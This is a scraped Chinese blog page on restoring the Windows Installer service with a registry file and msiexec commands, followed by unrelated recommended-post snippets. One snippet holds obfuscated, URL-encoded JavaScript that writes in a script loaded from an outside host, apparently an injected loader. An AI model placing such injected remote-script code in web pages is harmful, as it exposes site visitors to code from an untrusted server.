windows installer 问题

Solidworks安装报错“Windows Installer没按预期运行”的排查与修复 Windows Installer是Windows系统内置的安装服务,负责管理所有MSI格式软件的安装、卸载与修复。当用户安装Solidworks这类大型工业软件时,若系统服务异常、安装残留冲突、.NET Framework或VC++运行库缺失,便容易触发“内部错误:该产品组件的Windows Installer没按预期运行”的报错。该问题并非安装包本身损坏,而是系统环境不满足MSI引擎的运行要求。通过检查服务状态、重新注册MSI引擎、彻底清理Solidworks安装残留、补齐系统组件,并以管理员权限或安全 阅读详情
每次在服务器上配置.Net或修改已有项目的时候,都会因为windows installer的问题,而花上一大堆时间。今天也是这样。

在网上搜索了一下,没想到同病相连的人还真多,看来windows installer 确实挺烦人的。

网上提供的方法,现将其贴出来与大家共享:
“不能访问WINDOWS INSTALLER服务,可能是你在安全摸式下运行WINDOWS或WINDOW INSTALLER没有正确安装……”的提示,安装MSI格式的文件包时,经常会遇到windows installer出错的情况,这是由于windows installer服务没有开启,但是当你试图启用此服务,会发现此服务已被系统禁用,或者windows installer服务已被标记为删除,导致软件无法安装。

如果你重新安装windows installer服务,则系统提示“指定的服务已存在”。这实在是令人感觉到头痛的事,难道说除了重装系统就没有好办法了吗?

 通过查看系统自带的帮助文件说明及网上朋友的介绍,现把处理方法整理如下:

由于目前常用的操作系统为Windows2000和Windows XP,现根据它们出现的不同问题分别介绍一下解决过程。

Windows XP解决过程:

Windows XP集成了最新版本的Windows Installer v2.0,但在Windows XP里安装MSI程序也会经常出现”找不到windows installer服务”的错误提示,

第一步:使用记事本编写installer.reg文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/MSIServer]

"ImagePath"=-

"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/

74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,6d,/

00,73,00,69,00,65,00,78,00,65,00,63,00,2e,00,65,00,78,00,65,00,20,00,2f,00,/

56,00,00,00

然后将文件保存为”.reg“格式,双击该文件,将文件内容导入注册表。

第二步:重新启动电脑进入安全模式(启动时按F8键),然后点击”开始-->运行“,输入”CMD“命令,在弹出的”CMD命令提示符“窗口中输入”msiexec /regserver“,最后重新启动系统即可。

Windows2000系统:

第一步:点击”开始-->运行“,输入”CMD“命令,在弹出的”CMD命令提示符“窗口中输入”msiexec /unregserver“命令,这样就停掉windows installer服务。

第二步:下载windows installer服务安装程序包,Windows2000/NT系统的安装程序包为”InstMsiW.exe

第三步:安装下载的程序。

第四步:在CMD命令提示符下输入”msiexec /regserver“命令,这样就启动了windows installer服务,重新启动Windows2000系统后,问题就得到解决。

注意:在安装两个inf文件的过程中,不要重新启动系统,全部操作完成后才能重启。

服务器的系统是windows 2000,所以按照上边的每一步操作,最后问题解决了,埃,麻烦死了,重起机器。
解决Windows Installer问题的专业工具 Windows Installer作为微软推出的一种软件安装和配置服务,是现代操作系统中用于软件安装与卸载的主流解决方案。本章节将向读者介绍Windows Installer的基本概念、历史沿革以及它在整个软件部署过程中的作用与重要性。 阅读详情

相关推荐

常见Windows组件缺失问题及解决办法

常见Windows组件缺失问题及解决办法~!

WINDOWS INSTALLER无法启动解决方法

第一步:使用记事本编写installer.reg文件,内容如下: Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/MSIServer] “ImagePath”=- “ImagePath”=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,/ 74,00,25,00,5c,00

CyrusZhou的专栏 7604

基于近场动力学的二维疲劳裂纹扩展模型_近场动力学数值模拟的程序实现(1)——引言...

参考书目W. H. Gerstle. 2015. Introduction to Practical Peridynamic: Computational Solid Mechanics Without Stress and Strain.E.Madenci, A.Barut, M.Dorduncu. Peridynamic Differential Operator for Numerical ...

weixin_39764603的博客 1189

Solidworks安装失败,出现内部错误:该产品组件的windows installer没按预期运

安装中注意有两个雷,建议在安装之前就做以下操作!!防止报错了再返工浪费时间。。 第1个是安装时出现以下错误: 这个表示之前其他软件装过Microsoft C++ xxxx Redistributable程序,与本次安装发生冲突了,解决办法是到“程序”中先卸载掉之前安装的旧程序,所有带Microsoft C++字样的都卸载掉,如下图: 第2个雷是安装中间出现“solidworks安装时出现内部错误:该产品组件的windows installer没按预期运”,保存下错误日志,发现最后一行是:

BlairFee的博客 9万+

Hadoop与Kafka集群部署与优化实践指南

分布式系统是现代大数据处理的核心架构,其中Hadoop作为分布式存储与计算框架,Kafka作为分布式消息队列系统,共同构成了实时数据处理的基础设施。通过HDFS实现海量数据存储,结合YARN进行资源调度,而Kafka则保障了数据流的实时传输与高吞吐。这种技术组合在电商用户行为分析、物联网数据采集等场景中表现卓越。部署过程中需关注硬件资源配置、关键参数调优以及集群监控方案,例如通过调整HDFS块大小和Kafka partition数量来优化性能。合理运用Flume、Spark Streaming等工具可实现系

weixin_29061997的博客 356

【TiktokAPI】Tiktok直播API与实时互动功能开发完全指南

Tiktok直播API允许开发者创建、管理直播,并实现各种互动功能。/*** 获取Tiktok直播API访问令牌* @param {string} client_id - 应用ID* @param {string} client_secret - 应用密钥* @param {string} code - 授权码* @param {string} redirect_uri - 重定向URI* @returns {Promise<object>} 访问令牌响应*/try {}),

Mageia的专栏 3156

内部错误:该产品组件的 Windows Installer 没按预期运行:set QuiteModeActions.

内部错误:该产品组件的 Windows Installer 没按预期运行:set QuiteModeActions.管理员已经阻止运行此应用。重启电脑重新安装软件。

weixin_42618827的博客 1579

从USB 2.0到USB 3.x:Synopsys SVT USB VIP配置避坑与接口选择指南

本文详细解析了从USB 2.0到USB 3.x的Synopsys SVT USB VIP配置要点,涵盖协议版本选择、物理接口匹配及UVM层次化架构实现。重点介绍了layering sequence的配置技巧和常见问题解决方案,帮助验证工程师高效避坑并优化验证流程。

weixin_42653691的博客 228

SolidWorks安装过程报错指南

3、然后在弹出来的窗口中打开HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet中的Control项,点击Session Manager项。4、然后在弹出来的右侧窗口中找到PendingFileRenameOperations,右键单击选择“删除”即可。上述问题出现的主要原因可能是之前安装了高级的版本,但是却没有删除干净导致的!2、然后在弹出来的窗口中点击输入“regedit”,回车确定。方法:(直接跳过应该也可以,这个不是问题所在)方法: 添加环境变量。

a61js的博客 6993

基于OpenCV的驾驶疲劳检测与预警系统设计

PERCLOS(Percentage of Eye Closure)是一种基于眼睑闭合程度的疲劳度量指标。在基于OpenCV的驾驶疲劳检测与预警系统设计中,PERCLOS可以用于检测驾驶员的眼睑闭合程度,以判断其是否疲劳。该函数用于检测视频流中人脸的疲劳程度。具体地,该函数通过检测人脸的眼睛和嘴巴的状态来评估人脸的疲劳程度。眼睛状态是通过计算眼睛的长宽比(eyear)来判断,如果长宽比小于某个阈值,则认为眼睛闭合,表示人处于疲劳状态。

2301_79810943的博客 2321

【sap2000】部分模型通过.s2k文件合并模型generating a global model through partial models by .s2k text file

现在需要通过选项File → Import → SAP2000 .s2k Text File → Add to existing model(如果使用其中一个部分模型作为基础)或New model(如果使用新文件)添加部分模型,并使用以下导入选项。模型A(阶段1/5) Model A (Phase 1/5)模型B(阶段2/5) Model B (Phase 2/5)模型C(阶段3/5) Model C (Phase 3/5)模型E(阶段5/5) Model E (Phase 5/5)

hmywillstronger的博客 1744

windows installer程序包有问题

我安装了JDK,打算删除了重新安装,可是JAVA(TM)6Updata11卸载时总出现:WindowsInstaller程序包有问题,此安装需要的DLL不能运行。下载安装微软提供的WindowsInstallerCleanUpUtility1.0,它的主要功能是清除程序的WindowsInstaller配置信息。启动该工具,它会列出目前系统中所有Window...

weixin_33884611的博客 901

LPDDR6与LPDDR5 channel/rank/die/bank技术探讨

LPDDR6与LPDDR5 channel/rank/die/bank技术探讨

zilan23的博客 3636

Windows Installer程序包问题

有时候当安装软件时会提示“Windows Installer 程序包有问题,此安装需要的程序不能运行。请与您的支持人员或程序包开发商联系”,去‘服务’看了Windows Installer也启动了,但就是提示错误。 这时不妨试试这个解决办法:下载安装微软提供的Windows Installer CleanUp Utility,它的主要功能是清除程序的Windows Installer...

wq3206的博客 636

LVS 负载均衡面试题及参考答案

什么是 LVS 负载均衡?它的主要作用是什么? LVS(Linux Virtual Server)是一个基于 Linux 内核的开源负载均衡项目。它通过将请求流量按照一定的算法分发到后端的多个真实服务器(Real Server)上,从而实现负载均衡的功能。 从原理上来说,LVS 工作在网络层和传输层之间。当客户端发起请求时,请求首先到达 LVS 服务器,LVS 会根据预先设定的规则和算法,比如轮询(Round - Robin)、加权轮询(Weighted Round - Robin)、最少连

大模型大数据攻城狮的专栏 1462

温度PID控制PLC程序

温度PID稳定控制程序,适用于欧姆龙PLC,对其他PLC也具有很大参考价值

Windows Installer 常见问题

常见问题问: Windows Installer是一种什么样的产品? 答: Windows Installer是一种系统服务,用来安装和管理系统中的应用程序。它为应用程序的开发、定制、安装和升级提供了一种标准化的方法和手段。 问: Windows Installer都提供了哪些基本功能? 答: WindowsInstaller提供了以下基本功能:? 事务型操作:所有的安装操作都是事务形式的。对

rayvane的专栏 3513

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

windows installer问题的解决

windows installer问题的解决问题特征:1.msi文件无法安装的问题2.提示无法找到windows installer服务解决办法:    1.很可能msi.dll没有注册    2.都知道vista下安装程序需要管理权限,如果是exe文件就很简单以管理员身份运行即可,而msi文件没有这个选项,所以才会出现问题。解决这个问题很简单,两步绝对搞定操作:1.注册msi.dll

lianhairui的专栏 1137

visio安装包

Microsoft Office Visio 是一款专业的制图软件。利用经过更新的形状、协作工具和数据链接图表,创建专业级图表以简化复杂的信息。

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

Windows Installer 常见问题及解答

 HTML Tags and JavaScript tutorialvar encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);

522

本地计算机上的windows installer,一个烦人的Windows Installer问题

近日在网上闲逛,发现Vmware出4.0版了。这可是我最喜欢用的虚拟机软件啊!赶快下载,却发现安装不上,系统提示“不能访问WindowsInstaller服务”。再试一次,还是如此。打开“管理工具”下的“服务”,找到WindowsInstaller,查看其属性,发现启动类型为“自动”,服务状态为“已停止”,心想可能是什么时候把服务关了吧,单击“启动”按钮,咦?无法启动了!Windows提示“在...

weixin_33837516的博客 1409

WindowsInstallerCleanUp工具包:一键解决Windows Installer问题

WindowsInstallerCleanUp工具包:一键解决Windows Installer问题 【下载地址】WindowsInstallerCleanUp工具包 Windows Installer Clean Up 是一款专为解决Windows Installer相关问题的实用工具,尤其针对“无法访问网络位置”等常...

gitblog_06720的博客 930

Exercism Windows Installer 项目常见问题解决方案

Exercism Windows Installer 项目常见问题解决方案 项目基础介绍 Exercism Windows Installer 是一个为 Windows 平台提供的安装程序,旨在帮助用户更方便地安装和使用 Exercism 编程练习平台。该项目的主要编程语言是 PowerShell,它利用 PowerShell 脚本来实现安装和配置功能。 新手使用注意事项及解决方案 1. 安装过程...

gitblog_00417的博客 878

Windows Installer问题集结及解决办法

小昭按:近日,每当打开ppt,总会弹出“windows正在配置Windows Installer,请稍候”的窗口,烦人不说,很浪费时间,在网上搜了下,尝试了几个,最终采用  打开组策略→用户配置→管理模板→Windows组件→Windows安装服务→将“禁止从媒体安装”设为“

lovepenguin0418的专栏 2069

【亲测免费】 WindowsInstallers一键修复工具:Windows Installer(MSI)问题的终结者

WindowsInstallers一键修复工具:Windows Installer(MSI)问题的终结者 【下载地址】WindowsInstallers一键修复工具 Windows Installers 一键修复工具是一款专为解决Windows Installer(MSI)问题而设计的实用工具。无论是安装还是卸载程序时遇...

gitblog_06730的博客 2699

Windows Installer 的问题解决方案

我的电脑用XP系统,在安装ACDSEE6.2时候,我的电脑出现:"不能访问windows installer 服务.可能你在安全模式下运行 windows,或者windows installer 没有正确的安装.请和你的支持人员联系以获得帮助"在网上也找了不少解决方案可都没用,弄了一个下午也没法子解决,请问各位电脑高手有新法吗?  windows installer服务解决方案 很多朋友在安装MS

2773
上一篇: 动态绑定GridView
下一篇: asp.net 1.1 部署与windows 2000 诡异问题
smartyaya
博客等级 码龄20年 0粉丝 18原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值